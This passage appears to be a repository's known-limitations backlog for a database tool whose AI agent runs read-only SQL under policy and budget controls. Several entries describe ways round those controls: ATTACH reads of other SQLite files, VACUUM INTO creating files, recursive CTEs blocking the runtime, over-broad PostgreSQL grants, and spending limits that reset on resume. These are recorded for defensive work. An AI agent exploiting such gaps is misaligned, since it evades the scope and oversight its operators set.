src/lib/config/auth-preflight.ts validates JWT_SECRET at startup, so a short one stops the
server rather than producing a green health check and a 503 on every login.
STORAGE_ENCRYPTION_KEY has no equivalent: a value shorter than 32 characters throws only when the
first storage write happens, which is after login, after the migration attempt, and only in server
storage modes. The failure surfaces as a syncError in the UI rather than as a boot failure. Done
when the preflight also reads STORAGE_ENCRYPTION_KEY - noting that it must stay silent when
STORAGE_PROVIDER is local, where the variable is inert and an error would be wrong.
src/lib/storage/connection-secrets.ts's decryptConnections omits an unreadable secret and keeps
the record, which is correct - dropping the record would be persisted as a deletion. But the
omission is only recoverable until the next write: useStorageSync is a write-through cache, so the
first push of the connections collection after a failed read overwrites the ciphertext with a
record that has no password field at all. The warning fires on READ, which is before any write, so
an operator who reads their logs promptly has a window. Making the window unnecessary would mean
reading the stored row before every write and preserving an existing envelope when the incoming
value is absent - which would also silently resurrect a password the user deliberately cleared, a
worse bug than the one it fixes. Done when a design is found that distinguishes "the client never
had this value" from "the client cleared this value" without adding a field to the stored shape.
Each of these was decided while building the operation/policy layer, not overlooked. Delete an entry when the work lands.
src/lib/db/providers/sql/sqlite.ts's queryReadOnly enforces statementTimeoutMs as a
post-execution deadline: the result of an overrunning statement is refused, but the statement is
never preempted. SQLite has no transaction-local statement timeout, and neither bun:sqlite nor
node:sqlite exposes sqlite3_interrupt or a progress handler, so there is nothing to preempt it
with. Because both drivers are synchronous, a hostile recursive CTE therefore blocks the whole
runtime while it runs. This is the same property as the normal SQLite query path, but the input
source is different in kind: there the SQL comes from an authenticated operator, here it comes from
an agent. Done when either driver exposes an interrupt/progress hook, or agent SQLite execution
moves to a worker that can be killed on deadline.
The SQLite agent profile's read-only open governs the target database file only; VACUUM INTO '<path>' writes to a different file and is refused by PRAGMA query_only, which the profile
re-asserts and verifies before every statement. SQLite creates the destination file before the
write is refused, so a zero-byte file can still appear at any path the server process can write to
(no data reaches it - asserted on both adapters by file size). Closing this needs an authorizer
callback, which bun:sqlite does not expose at all. Done when a control exists on both adapters,
or when agent SQLite targets are constrained to an allowlisted directory (related: the base-dir
allowlist proposed in issue #125).
Both agent profiles bound what a statement can WRITE with a database-native control. What it can READ is bounded only by the policy layer's declared-target allowlist plus the input-stage statement guard - and both of those read SQL, which this milestone treats as defense in depth rather than a boundary:
- SQLite:
ATTACHof an existing file succeeds on a read-only handle and its rows become readable. No authorizer exists onbun:sqlite, so there is nothing engine-side to stop it (docs/providers/sqlite.md section 12.3). - PostgreSQL: the read-only role can read every table its grants allow, whatever catalog or schema
the request declared. Per-table
SELECTgrants are the only real bound (docs/providers/postgres.md section 12.3).
Done when out-of-scope reads are refused by something that does not read SQL - a per-target grant set generated for the agent role, an allowlisted directory for SQLite targets, or an authorizer both adapters expose.
tests/integration/db/postgres-provider.test.ts proves the read-only profile against a stateful
hand-written engine mock. Every rule it models was verified against a live PostgreSQL 18 while the
profile was built - read-only transaction rejection by engine state, the extended-protocol refusal of
multi-command strings, SET TRANSACTION READ WRITE really relaxing the transaction, advisory locks
surviving rollback - and the mock encodes them faithfully enough that bypass attempts fail on real
modeled behavior (a write actually landing) rather than on protocol metadata.
What it cannot catch is a future regression on the other side of the seam: a driver change, a server
version that behaves differently, or a pg option that stops meaning what it meant. The assertions
would stay green because the mock, not the server, defines the semantics. The repository's
integration suites are mock-based by convention and CI runs no database service; the only real
engine in the pipeline today is the throwaway PostgreSQL container behind
loop/scripts/functional-smoke.sh.
Done when a container-backed test proves, against a supported PostgreSQL, that a direct write and a multi-command escape are rejected through the profile under the resolved role. The cheapest path is extending the functional-smoke container rather than adding a service to every CI test job.
src/lib/db/providers/sql/druid/http-transport.ts splices the parameters array into the query
envelope by hand so a bigint literal reaches Druid unquoted. The reason recorded in docs/providers/druid.md was that
JSON.rawJSON (ES2025 JSON source text, V8 12.4 / Node 22.2) could not be depended on while
engines.node was ">=20.9.0".
That constraint is gone: issue #326 raised the floor to ">=24.0.0", so JSON.rawJSON is available
on every supported runtime. The hand-serializer is not wrong and is fully covered, so it was left
alone rather than rewritten inside a runtime-baseline change - swapping a correctness-critical
escaping path belongs in a change whose tests are about that path.
Done when the splice is replaced by JSON.rawJSON with the existing bigint fixtures still green,
or when this entry is deleted with a note that the hand-serializer is the preferred implementation.
Probed while raising the Node baseline (#326): tsc --noEmit under typescript@7.0.2 (the native
Go port) reports zero errors on this repository and finishes in 1.8s against 7.7s for the
6.0.3 JavaScript compiler - a 4x wall-clock improvement on the typecheck gate.
It cannot be adopted yet, and the blocker is upstream of typescript-eslint rather than in it. TypeScript 7 ships no in-process compiler API at all. Measured against the published packages:
typescript@7.0.2 -> require("typescript") exports: version, versionMajorMinor
typescript@7.1.0-dev.20260810.1 -> require("typescript") exports: version, versionMajorMinor
ts.createProgram and ts.Extension are undefined. Everything that builds a program in-process -
typescript-eslint, eslint-config-next, tsup's declaration build - has nothing to call. The repo's
type-aware ESLint layer guards src/app/api and src/lib/db against floating promises, so dropping
it to move the compiler is not a trade worth making.
typescript-eslint's own tracking issue is #10940 ("Use TS 7 (tsgo / typescript-go) for type information"), open and labelled blocked by external API; a maintainer put it as "there is nothing we can do about this until TS 7 provides an API". Note that #12518 reads as not planned in the GitHub UI - that is how a close-as-duplicate renders, not a statement of intent.
An interim option exists if the 4x typecheck gain is wanted before then: Microsoft documents running 6.0 and 7.0 side by side
- keep
typescript@6as the peer typescript-eslint resolves, addtypescript-7as an npm alias, and point a second script at it. The cost is two compilers in the lockfile and a second source of truth about what type-checks; today that divergence is zero, since 7.0.2 already reports no errors here.
Done when TypeScript exposes an API 7.x tooling can build on and typescript-eslint's peer range follows, at which point this is a one-line dependency bump plus a re-run of the gates: the compiler side is already proven green.
src/lib/agent/state-guard.ts derives its credential key names from SECRET_FIELD_MAPS in
src/lib/storage/connection-secrets.ts, so a field promoted to secret in one of the three
classification maps is covered without an edit. The aggregate itself is a hand-maintained array with
no type-level guarantee - each individual map fails bun run typecheck when a field goes
unclassified, but nothing makes a fourth MAP appear in the array.
The direction that loses coverage silently is adding a map, not removing one: the storage layer
would seal the new field while the guard happily persisted it. tests/unit/lib/agent/state-guard.test.ts
closes that by reflection - it walks the storage module's exports, recognises a classification map
structurally, and fails when one is not registered. Verified to fire by temporarily exporting a
fourth map.
What remains is narrower: the check sees exported maps only. A map kept module-private and wired
straight into walkConnection is invisible to it. All three existing maps are exported for
consumers, so this is a convention rather than an enforced rule.
Done when a new classification map cannot be added without the guard learning about it - most
directly by having walkConnection iterate a registry instead of three separately derived key
lists. That registry has to carry each map's nesting location (root, ssl, sshTunnel), so it is a
change to a security-critical encrypt/decrypt path with its own test obligations, which is why it
was not folded into the agent milestone that surfaced it.
@ai-sdk/anthropic@4.0.37 is an owner-ratified dependency and is installed, and the agent's provider
registry (src/lib/agent/provider-registry.ts) could serve it in a few lines. What blocks it is not
the agent at all: the registry is keyed on LLMProviderType, the settings surface's own union
(src/lib/llm/types.ts), and that union is what LLM_PROVIDER resolves against
(src/lib/llm/utils/config.ts). Adding anthropic there makes LLM_PROVIDER=anthropic a
selectable setting for the whole application, and src/lib/llm/factory.ts would then have to build a
chat provider for it or throw - so every surface that resolves a provider through the factory would
be broken for exactly the users who configured it.
Serving it properly therefore means a src/lib/llm/providers/anthropic.ts that speaks Anthropic's
Messages streaming protocol: createSSEParser's extractContent in
src/lib/llm/utils/streaming.ts understands the OpenAI delta shape only, and Anthropic requires
max_tokens on every request while LLMStreamOptions.maxTokens is optional, which needs a default
nobody has chosen. That is a chat-surface feature with its own conventions, tests and release note,
not a line in the agent registry - and the ratified package cannot be used for it either, since
src/lib/llm is reachable from the published package while the AI SDK is deliberately not
(tests/unit/agent-dependency-boundary.test.ts).
Until then @ai-sdk/anthropic stays in knip.json's ignoreDependencies as an installed-but-unwired
ratified package, which that test's allowed-ignore set names explicitly.
Done when the chat surface gains an Anthropic provider under its own conventions and the registry
gains the matching adapter in the same change - the Record<LLMProviderType, AgentProviderAdapter>
will not compile until it does.
withinAllowlist (src/lib/db/operations/policy.ts) refuses a call that does not DECLARE a dimension
the scope constrains, which is the right direction - an undeclared target cannot be screened, so it
fails closed. The consequence for the agent tool layer is that a scope carrying an allowlist silently
narrows the tool set to the tools that happen to declare that dimension:
- A
schemaallowlist admits only a NARROWEDinspect_schemacall — one that was given a selector, which is what the tool declares. The selector-less full inventory declares nothing and is denied (verified:createTargetScope("c", { schemas: ["public"] })plusinspectSchemaTool(ctx, {})answersTARGET_OUT_OF_SCOPE), and that is the natural first call — the one T8's run-start snapshot DOES make:captureContextSnapshot(src/lib/agent/context-snapshot.ts) asks for each catalog kind with no selector, so under a schema allowlist every run's context capture is refused and the run proceeds with no snapshot at all. It fails closed and the model is told to inspect the schema itself, but a run scoped to one schema never gets an inventory. Narrowing the capture to the scope's own single-entry allowlist is the obvious repair once a caller builds such a scope. Everyrun_read_queryandinspect_plancall is denied outright, because a raw statement cannot declare which schema it will touch without parsing it. - A
catalogallowlist denies EVERY call in the layer: no tool declares that dimension at all.
Nothing is wired to build such a scope yet (createTargetScope has no production caller at this
commit), so this is a property of the layer rather than a live defect, and the tool layer records it
at the inspect_schema target declaration. It matters because the failure looks like a policy bug
rather than a scoping choice: the model gets TARGET_OUT_OF_SCOPE with advice to ask for an in-scope
target, and for a raw read there is no way to comply.
Two honest resolutions when a caller first needs scoping, and the choice is a product one: give
run_read_query an optional declared-schema argument and require it when the scope constrains that
dimension, or let the run service refuse to start a run whose scope constrains a dimension its tool
set cannot declare - which is louder and needs no per-tool argument.
Done when a scope with a schema or catalog allowlist produces a coherent outcome for every tool the mode offers, with a test per dimension.
mapDatabaseError matches canceling statement before its timeout branch and returns
new QueryCancelledError("Query was cancelled", provider, query) (src/lib/db/errors.ts), replacing
the engine's own wording. PostgreSQL says canceling statement due to statement timeout for a
statement_timeout and canceling statement due to user request for pg_cancel_backend, so after
this mapping no consumer can tell the two apart — the discriminator is gone, not merely
unexamined.
That is why the agent tool layer classifies a cancel as a repairable statement failure
(src/lib/agent/tools.ts): the reachable case on the agent path is the timeout this layer itself
installs via SET LOCAL statement_timeout, and narrowing the read is the repair that helps. The cost
is stated there — an operator cancel arriving mid-statement is also offered a repair, so a run
cancellation has to be enforced by the run loop's own persisted state between tool calls rather than by
expecting the driver's cancel to propagate.
The fix is in shared code and has editor-visible consequences, which is why it is not in #329:
reordering the timeout check ahead of the cancellation check, or preserving the original message on
QueryCancelledError, changes what the query panel shows when a statement is cancelled versus times
out. The reordering is the substantive one and needs the editor's cancel/timeout UX re-checked
(src/lib/db/providers/sql/postgres.ts sets queryTimeout on the pool as well, so both paths exist
today).
The same mapper has a wider imprecision worth fixing in the same pass, because the agent layer's repairable-versus-environment split inherits it: the classification is substring matching on the engine's message, so an identifier can decide the class. Verified against the live mapper:
no such table: pooled_itemsmatchespooland returnsPoolExhaustedError, so a plainly repairable missing relation is treated as an environment fault and ends an agent run.Connection terminated unexpectedlymatches nothing and falls through to the baseDatabaseError, so a dead socket is offered to a model as a statement it could rewrite (bounded at three attempts).relation "user_passwords" does not existmatchespasswordand returnsAuthenticationError— harmless on the agent path today only because a query-phaseAuthenticationErroris repairable there, which is a coincidence rather than a design.
Neither direction is a boundary failure: nothing runs that policy did not allow, and the agent's statement and repair budgets still bound the waste. What is wrong is the diagnosis, and it is wrong before any consumer sees the error, so no consumer can correct it.
Done when a statement timeout and a user cancellation are distinguishable by type or by preserved
message, with the editor's own consumers updated and the agent layer's cancel classification
revisited against the new signal; and when classification no longer depends on a substring that a
table or column name can satisfy (driver error codes — PostgreSQL SQLSTATE, SQLite errcode — are
the signal that does not collide, and each provider already has access to its own).
src/lib/agent/run-store.ts and src/lib/agent/run-service.ts are append-only over the durable
world's stream primitives, which offer no compare-and-append: a writer cannot say "append this only
if the stream is still at index N". Every operation is therefore read-then-append, and two
consequences follow that a single-writer run never meets and a second writer would:
- Two concurrent opens on one caller-supplied run id write two headers. The fold refuses a ledger
with a second header (
MALFORMED_LEDGER), permanently, for every later read — so the race does not resolve in one side's favour, it bricks the run. Nothing minted internally can collide (the id is a UUIDv4, so 122 random bits), so reaching this needs a caller that supplies its own id, which is exactly what the workflow-run-id path does. - Two loops driving one running run would both perform the same step.
runStepreads the ledger, sees the step neither settled nor invoked, and appends its invocation; two readers of the same state both pass that check. The write-ahead ordering makes a step at-most-once per loop, not per run — the milestone's "no tool execution performed twice" criterion is about a restart, where the dead process is gone by construction, and that case is genuinely covered.
Not defended at the storage layer because every available cross-process defence is worse than the constraint: a lock file is single-instance only (which the Postgres backend exists to escape), and a lease in the ledger is a distributed-lock design with its own expiry semantics. The honest boundary is that single ownership of a running workflow belongs to the layer above rather than being re-implemented below it — and how strong that guarantee is depends on which backend is configured, which is the part worth stating plainly. On the zero-config local world it holds by construction: the queue awaits each delivery before attempting the next, so retries are sequential. On the opt-in Postgres backend a visibility-timeout redelivery can overlap a handler that is still alive, and that is precisely where the second bullet above would bite.
Both of those readings describe a queue that delivers agent drives, and nothing delivers one today
— which is B9, and the two entries have to be read together because B5's severity is a function of
B9's state. mintAgentDriveToken has no production caller, there is no "use workflow" function and
no queue producer, so a run is driven exactly once, in the process that opened it
(src/app/api/agent/runs/route.ts). A second drive of one run is therefore not reachable through the
product on EITHER backend right now: producing one takes a caller that mints its own drive credential
from JWT_SECRET, which is how the fence below was exercised against a live run rather than only in
a test. Closing B9 is what makes this live, and in that order — a producer without the fence is a
redelivery that runs the user's statement a second time.
The process-local half of the fence now exists (2026-08): AgentRunService.claimDrive/releaseDrive
(src/lib/agent/run-service.ts) refuse a second concurrent drive of one run inside a single process,
and AgentRunStore.append refuses an append once the run's stream has been closed
(RUN_ALREADY_CLOSED), turning the silent-loss mode of the second consequence into a loud refusal.
What remains open is the cross-process half: two replicas driving one run would still both pass the
read-then-append check, because the durable backend offers no compare-and-append.
Done when either the run ledger can append conditionally on the stream's tail index (which is what
would make both races impossible at the storage layer), or the single-ownership guarantee the runtime
provides is asserted by a test rather than assumed by prose — whichever the durable backend can
actually support. The process-local claim is asserted in
tests/unit/lib/agent/run-service.test.ts, and the append-after-close guard in
tests/unit/lib/agent/run-store.test.ts.
The three things that bound what a run may spend — ExecutionBudgetTracker (maxStatementsPerRun,
maxTotalRunMs), AgentRepairLedger and AgentRunDeadline — are all constructed by the process that
drives a run and live only in its memory. runInvestigation (src/lib/agent/investigation.ts) takes
them as injected resources, so a run resumed after a process death is handed a fresh set and starts
each ceiling again. A run that dies and resumes ten times may therefore perform ten times
maxStatementsPerRun statements and spend ten times its workflow's runDeadlineMs of wall clock, even
though each individual drive stayed honestly inside its bounds.
Nothing currently claims otherwise — AGENT_WORKFLOW_BUDGETS's docblock in
src/lib/agent/execution-policy.ts states the per-drive scope explicitly rather than implying a
per-run one, which is why this is a recorded limitation and not a defect. It matters for two later
tasks: T10b's budget meter must not present a per-drive figure as a run total, and any retry policy
that resumes automatically would multiply the ceiling without a user ever asking for it.
The data needed to fix it is already persisted: AgentRunRecord carries createdAtMs, and the ledger
holds every settled step, so a drive could fold the run's own history into the ceilings it starts with
(a deadline measured from createdAtMs, a statement count folded from tool-completed entries)
instead of starting from zero. Done when the ceilings a drive enforces are derived from the run's
ledger rather than from the drive's own construction, with a test that resumes a run twice and shows
the second drive inheriting the first's spend.
The composed index read (composePostgresIndexes, src/lib/agent/composed-sql.ts) joins pg_index
to pg_attribute on a.attnum = ANY(ix.indkey) to name each indexed column. An expression index
(CREATE INDEX … ON t (lower(name))) stores a zero in indkey for its expression and keeps the
expression in pg_index.indexprs, so the join matches nothing and the index does not appear in the
run's context snapshot at all. A partly-expression index ((status, lower(name))) is worse in one
respect: it appears, carrying only its plain columns, so a reader could take it for an index on
status alone.
Consequences are bounded and reporting-only: nothing about enforcement depends on the inventory, and
the model can still ask for a plan (inspect_plan), which is what actually says whether an index is
used. The cost is a model reasoning about "there is no index on that column" when there is one. The
SQLite side does not have this gap — parseSqliteIndexDdl keeps an expression's written form, because
the DDL text carries it (src/lib/agent/sqlite-ddl.ts).
Fixing it means projecting pg_get_indexdef(ix.indexrelid) (or pg_get_expr(ix.indexprs, ix.indrelid))
alongside the column join and parsing the emitted definition, which is a second per-dialect parser
against text whose stability this repository has not verified — deliberately not done inside the task
that found it. Done when an expression index appears in the inventory with its expression, asserted
against a live PostgreSQL rather than a fixture, since the projection is the part that cannot be
checked without an engine (see A5).
B8. The composed foreign-key read cannot pair a composite key's columns, and its referenced side still collides on constraint names
composePostgresRelations (src/lib/agent/composed-sql.ts) joins
information_schema.key_column_usage (one row per REFERENCING column) to
information_schema.constraint_column_usage (one row per REFERENCED column) on the constraint alone.
Neither view exposes an ordinal that pairs the two sides, so a foreign key over two or more columns
comes back as the cross-product of its sides: FOREIGN KEY (x, y) REFERENCES parents (a, b) yields
four rows, and buildPostgresTables turns them into four edges, of which two are wrong
(x -> parents.b, y -> parents.a). Single-column keys — the overwhelming majority — are exact.
The consequence is confined to what a run is TOLD: the packed context can show a relation that does
not exist, so a model could join on the wrong column and get a statement that is refused or returns
nothing. Nothing about enforcement depends on it. The SQLite side does not have this gap: the DDL
text pairs the two lists positionally and sqlite-ddl.ts reads them that way, which is the
declaration's own meaning.
A second, independent defect lives in the same joins and needs the same fix. A PostgreSQL constraint
name is unique per TABLE, so two tables in one schema may both carry fk_customer. The referencing
side is narrowed by tc.table_name = kcu.table_name, but constraint_column_usage exposes no
referencing-table column at all, so the referenced side cannot be narrowed the same way: table a
still gains an edge pointing at table b's parent. Same consequence as above — a relation in the
prompt that does not exist — and the same blast radius, since nothing about enforcement reads the
inventory.
A correct projection means leaving information_schema for pg_constraint, unnesting conkey and
confkey WITH ORDINALITY and joining on the ordinal — which closes both defects at once, because
pg_constraint rows carry conrelid and are identified by oid rather than by name. It is a statement
that has to be verified against a live server before it can be trusted, which this milestone cannot do
(see A5). Done when a composite foreign key appears in the inventory with each column paired to the one
it actually references, and two same-named constraints in one schema produce only their own edges,
both asserted against a live PostgreSQL.
Opened by #329 T9. POST /api/agent/drive exists, authenticates a server-minted single-purpose
credential and resumes the run it names, and src/lib/agent/runtime.ts re-derives everything that
run needs from its own ledger — so a resume WORKS. What does not exist is anything that asks for
one. A run is driven exactly once, in the process that opened it (src/app/api/agent/runs/route.ts),
and if that process dies mid-run the run stays running in the ledger with nobody to pick it up:
mintAgentDriveToken has no production caller, and the workflow runtime is used only as the
ledger's durable substrate — there is no "use workflow" function and no queue producer, so the
backend's own re-enqueue-on-start never sees an agent run.
Distinct from a drive that fails, which is now recorded: a throw anywhere in driveAgentRun ends
the run as failed with a classified reason (docs/AGENT.md, "A drive that dies before the loop"),
so an unconfigured model no longer leaves a run at queued forever. This entry is the case where the
process is GONE — nothing threw, nothing can record, and the run stays running until something asks
for it. Recording a failure cannot close that; only a producer can.
Order matters against B5, which is why each entry now names the other: the producer this asks for is
also what first makes a SECOND drive of one run possible, and a redelivery landing on a drive that is
still running is a second execution against the user's database. B5's process-local fence
(claimDrive/releaseDrive) is already in place, so the single-replica case is covered before the
producer arrives; the cross-process case is not, and a producer plus more than one replica is the
combination B5 still has no answer for.
Adopting the SDK's Next.js integration is what would supply the producer, and it was refused
deliberately rather than overlooked. Its documented setup asks for /.well-known/workflow/* to be
excluded from the proxy matcher (node_modules/workflow/docs/getting-started/next.mdx), and it warns
that a proxy running on that path detaches the request body — so the callback could not merely
authenticate its way through the middleware either. Worse than the requested edit: this matcher
already excludes it, because the dot rule (.*\..*) skips every path containing a dot and
.well-known contains one (A2 above records the same consequence). So that route would sit outside
src/proxy.ts entirely, unauthenticated, the moment it existed — with no matcher edit to review. The
pinned decision for exactly this case (P4) says driving in-process without a loopback hop is strictly
better, which is what the start route does; the drive path this task added is one the matcher DOES
route, guarded by a credential rather than by a path rule, and tests/api/proxy.test.ts pins both
halves of that.
Two things have to land together whenever a producer arrives, and neither is safe to add alone:
- A sweep that finds runs left
runningand drives each one — at boot, or on a timer — with the same credential the callback already verifies. - Single-flight per run. Today no two drives of one run can overlap, because there is only ever one. A producer removes that accident, and the ledger is explicitly read-then-append with no fencing (B5), so two drives would both read "not invoked" for the same step and both perform it — the duplicate execution the milestone's durability criterion forbids.
Done when a run whose process died is picked up without a person asking, no step is performed twice while that happens, and B6's per-drive cost ceilings are accounted for across the resumes it causes.
Opened by #329 T10b. The task's bar names tokens among the figures the meter should report, and the
meter deliberately does not show one: nothing in this repository bounds an agent run's token spend.
AGENT_WORKFLOW_BUDGETS's budgets are statement-shaped (src/lib/agent/execution-policy.ts), its
maxModelTurns bounds model TURNS rather than their size, and the run loop never reads the
SDK's usage at all (src/lib/agent/investigation.ts consumes fullStream parts and the assistant
messages, nothing else). A token figure would therefore be a number the server does not enforce,
shown next to four that it does — which is the one thing that bar forbids, so the meter states the
turn ceiling instead and says nothing about tokens.
Closing it is two changes that have to land together: reading usage off each turn and recording it
in the run's ledger (a new field on run-finished, or a new event kind — T2's union is closed, so
this is a deliberate widening rather than an addition anyone can make in passing), and a ceiling in
execution-policy.ts that the loop actually refuses on. Done when a run that exceeds a configured
token budget ends with a reason a user can read, and the meter shows the same number the loop
enforced.
Opened by #329 T10b. AgentRunService has no pause: a run holds a provider and a budget while it is
running, and nothing in this milestone can put those down and pick them up again. Resuming exists
(POST /api/agent/drive, driveAgentRun) but is authenticated by a server-minted single-purpose
credential a browser never holds — it is the seam a machine producer will use (B9), not a user
control. The rail therefore offers stop and nothing else, and it does not render a disabled pause or
resume, because a disabled control reads as a capability that is merely unavailable right now.
Resume becomes offerable the moment B9's producer exists — a user-visible "pick this run up" is then just asking for a delivery. Pause is the larger one: it needs a run state between running and terminal that releases the run's resources without ending it, and a resumed run would have to re-acquire them, which is exactly the path B6 already complicates. Done when either control exists in the service with its own ledger record, and the rail renders it because the service can honour it.
B12. A statement that failed at the database records no duration, so the meter's database time counts completed reads only
Opened by #329 T10b. ExecutionBudgetTracker charges maxTotalRunMs from every execution's elapsed
time, on the failure path as well as the success one (execution.ts calls endExecution with
statements: 1 in both). The durable ledger is narrower: tool-completed carries the artifact's
summary.elapsedMs, while tool-refused carries an AgentToolRefusal, whose database-error variant
records a fingerprint and the engine's message and no duration at all (src/lib/agent/types.ts). The
rail folds its meter from the ledger, so its database-time figure is the sum over completed reads and
sits BELOW what the tracker enforced whenever a statement failed.
The rail says so beside the meter rather than quietly rounding — under-reporting the time a bound has already spent is the direction that misleads. Fixing it means recording the elapsed time of a failed execution somewhere durable; the natural place is the refusal itself, which is a T2 contract change and therefore deliberate rather than incidental. Done when a run whose statement failed shows the same database time the tracker charged it, with a test that fails on the current under-count.
Opened by #329 T10b, found by the task's own fresh-context review rather than by writing the meter.
The largest is the schema capture. captureContextSnapshot (src/lib/agent/context-snapshot.ts)
calls inspectSchemaTool directly, once per catalog kind — three reads on PostgreSQL, two on SQLite
(CATALOG_PLANS) — and each one goes through executeAuditedOperation and is charged statements: 1
plus its elapsed time against exactly the budget the meter displays. What it does NOT go through is
the run loop's runStep, which is the only writer of tool-completed; the capture records one summary
context-captured entry instead. On an agent-mode drive with no reusable snapshot in its ledger — the
case establishContext actually reads a catalog in, since a planning run captures nothing and a
resumed run reuses what it recorded — a ledger-folded meter therefore reads "0 / 20 statements" at the
moment two or three are already spent, before the model's first turn, and a capture that FAILS records
no entry at all while still having paid for its reads.
Two smaller mismatches belong with it. An acquisition failure is accounted as one executed statement
although nothing ran — tools.ts acquires the provider inside the allowed callback deliberately, so
that a denied call never opens a pool — and it propagates out of the tool, leaving the step with a
tool-invoked entry and no settlement, so the fold cannot see it. And a tool-completed entry carries
the provider's own summary.elapsedMs, while maxTotalRunMs is charged the span the execution layer
measured around the whole call (execution.ts), which also covers that acquisition. All three gaps run
in the same direction — the meter under-reports — which is why the rail states its figures as a floor
rather than as the spend, and why the caveat it shows is a list of what is known rather than a proof
that the list is complete.
Either half closes the same way: give the capture path a durable per-read record, or read the meter
from the tracker's own accounting instead of from the ledger. The second is not a drop-in — the
tracker is process-local and releaseExecutionRun drops a run's accounting when it ends, so a
finished run would report zero — which is why the ledger fold was chosen and its gap recorded rather
than papered over. Done when a run that has captured its schema shows the catalog reads it paid for,
with a test that fails on the current under-count.
B15. A run's stored results are gone once the run ends, so a report's citations can outlive its rows
Surfaced by #329 T11 rather than introduced by it: ExecutionArtifactStore holds results in process
memory and releaseExecutionRun drops everything a run produced at finish or cancel
(src/lib/agent/run-service.ts), which is the M1 decision that agent results never rest on disk.
The consequence the artifact route makes visible is that the report — composed as the run's last step
— is usually read AFTER the run has ended, so "Show result" on its citations answers 410 with
reason: "released" rather than rows, and the same is true for any run driven by a different replica.
The route says which of the two happened instead of reporting a missing artifact, and the rail offers "Show result" only while the run is live — the milestone's own rule that a control the service cannot honour is not rendered — with the report section stating the bound in words, so a user who saw the control during the run knows why it is gone afterwards. The consequence to know: the show affordance on report CITATIONS is mostly dormant, because a report is composed as the run's last step; what is reachable in practice is showing a result from a live run's timeline. Closing it properly means deciding where agent results may rest — encryption, retention and tenancy are exactly the questions #328 declined to answer — so it is a product decision, not an implementation gap. Done when a finished run's cited rows are readable for a stated retention window, or when the surface states the window it has instead of offering a control that usually cannot be honoured.
Found while landing #329 T1 and carried forward deliberately, because the milestone's own commit that found it could not validate a fix (nothing built a world yet).
@workflow/core/dist/runtime/world.js resolves any world other than its two built-ins with
require(targetWorld) off a createRequire rooted at process.cwd(). The specifier is a variable,
so Next's output-file-tracing cannot see it: @workflow/world-postgres is absent from
.next/standalone, and therefore from the container image and the standalone tarball the npx
launcher downloads. WORKFLOW_TARGET_WORLD=@workflow/world-postgres passes this repository's own
allowlist (src/lib/agent/config.ts) and then fails inside the runtime at the moment a world is
built — so the documented path to running agents on more than one replica does not work in the
artifacts most operators deploy. A bun dev checkout and a plain node_modules install are
unaffected, which is exactly why it can go unnoticed.
Scoped by measurement rather than by inference, so the entry is not read as more than it is: a
DOCKER_BUILD=true bun run build on 2026-08-12 leaves .next/standalone/node_modules/@workflow
holding world-local and utils, and the rest of the runtime (workflow, @workflow/core, ai,
@ai-sdk/*) compiled INTO the server chunks — which is why the default local backend does work in
the image. Only the world reached through a variable specifier is missing.
The repository already has the remedy pattern for this shape of dynamic specifier: the explicit
copies in Dockerfile and scripts/build-standalone-payload.sh, both of which already hand-copy
modules that tracing cannot see. Done when the Postgres world is present in both payloads with a test
asserting it (tests/unit/packaging-payload-prune.test.ts pins what the payload must keep and is the
nearest existing home for such an assertion), and when docs/AGENT.md's deployment section loses the
caveat that points here.
resolveApiUrl (src/lib/llm/utils/config.ts) returns LLM_API_URL for every provider kind, so the
resolved configuration carries it — and both Gemini consumers ignore it. The chat provider constructs
new GoogleGenerativeAI(apiKey) (src/lib/llm/providers/gemini.ts), which has no base-URL option at
all, and the agent's adapter deliberately passes no baseURL (src/lib/agent/provider-registry.ts)
because leaving it undefined is what keeps the SDK's own environment fallback unreachable. So an
operator who must reach Gemini through an egress proxy or a regional endpoint can set the variable,
see no error, and be routed to Google directly.
This is pre-existing behaviour that the agent inherited rather than introduced, and it is recorded
here because #329 T4 is where it was noticed. Fixing it means threading config.apiUrl into both
consumers and deciding what an explicitly-set LLM_API_URL means for a provider whose SDK has no
base-URL seam — a settings-surface change with the chat surface's own conventions and tests, not an
agent change. Done when a proxied Gemini endpoint is reachable from the configuration the user already
entered, or when the settings surface says plainly that the variable does not apply to that kind.
BottomPanel is shared by both shells, and #329 T11 added its agent-provenance branch — an optional
agentArtifact prop, the provenance badge and its test ids. bun run build:lib therefore emits that
markup inside dist/workspace.mjs.
It is inert, and the package boundary that matters is intact: the prop is optional, the embedded shell
never passes it, no entry point exports BottomPanel (asserted through a transitive export … from
closure in tests/unit/agent-package-boundary.test.ts), and the package gains no agent module, no
agent type and none of the runtime packages — which is what the boundary tests pin. What remains is
dead bytes in a consumer's bundle and a small honesty cost: a reader grepping the published output
finds strings suggesting an agent capability that the embedded shell cannot reach.
Done when the provenance branch lives in a standalone-only component and BottomPanel takes it as
children, or when Phase 4's surface unification decides the embedded shell gets an agent surface after
all — at which point this stops being dormant rather than being removed.
resolveAgentRunConnectionId (src/hooks/use-connection-payload.ts) decides whether an editable
seed copy may start a run by comparing it against the descriptors in useConnectionManager's
servedSeeds — the response of the last GET /api/connections/managed, fetched at mount and during
the pending-seed poll. The run-start route then resolves seed:<id> again, through
getSeedConnectionById, whose config loader re-reads the seed file after its own TTL
(SEED_CACHE_TTL_MS, 60s by default).
So there is a window. An operator who repoints a seed at a different database while a session is open leaves that session comparing against the OLD descriptor: the local copy still matches it, the rail still offers Start, and the run resolves the NEW target. That is the same silent wrong-database outcome the comparison exists to prevent, reached from the server side instead of the browser side.
Two things bound it. It needs a server-side seed change mid-session, not a user action; and the same
staleness already applies to an admin-managed connection, which has always sent seed:<id> for every
query while the sidebar showed whatever the last fetch returned. This is therefore a property of
resolving by id at all, not something the editable-copy path introduced — but the copy path is the
one whose documentation promises a match, so it is the one that overstates.
Done when the run-start route validates the descriptor the browser believed it was starting against —
a fingerprint sent with the request and compared server-side, refusing with a distinct reason when it
has moved — rather than the client's snapshot being the only check. Until then docs/AGENT.md says
the comparison is against the last fetch, not against the live descriptor.
AgentRunTerminalStatus is unchanged: succeeded | failed | cancelled. What was added is
goalVerdict on the run-finished event — additive and optional, exactly as reason and
stopReason were before it.
The deciding evidence was two live runs on 2026-08-13. One ended succeeded because the model
stopped talking; one ended failed because it hit the turn ceiling; both answered nothing. A
third shape exists and matters: a drive that dies before the loop ends failed with no verdict
meaningful at all, because the run never got to try. Status and verdict are therefore independent
axes, and one word cannot carry both.
needs_input was rejected as the term. It names a capability this runtime does not have: a terminal
run accepts no further ledger entries, nothing enqueues a drive (B9), and there is no
resume-with-input path — so the word would promise a continuation nobody can offer. The rail says
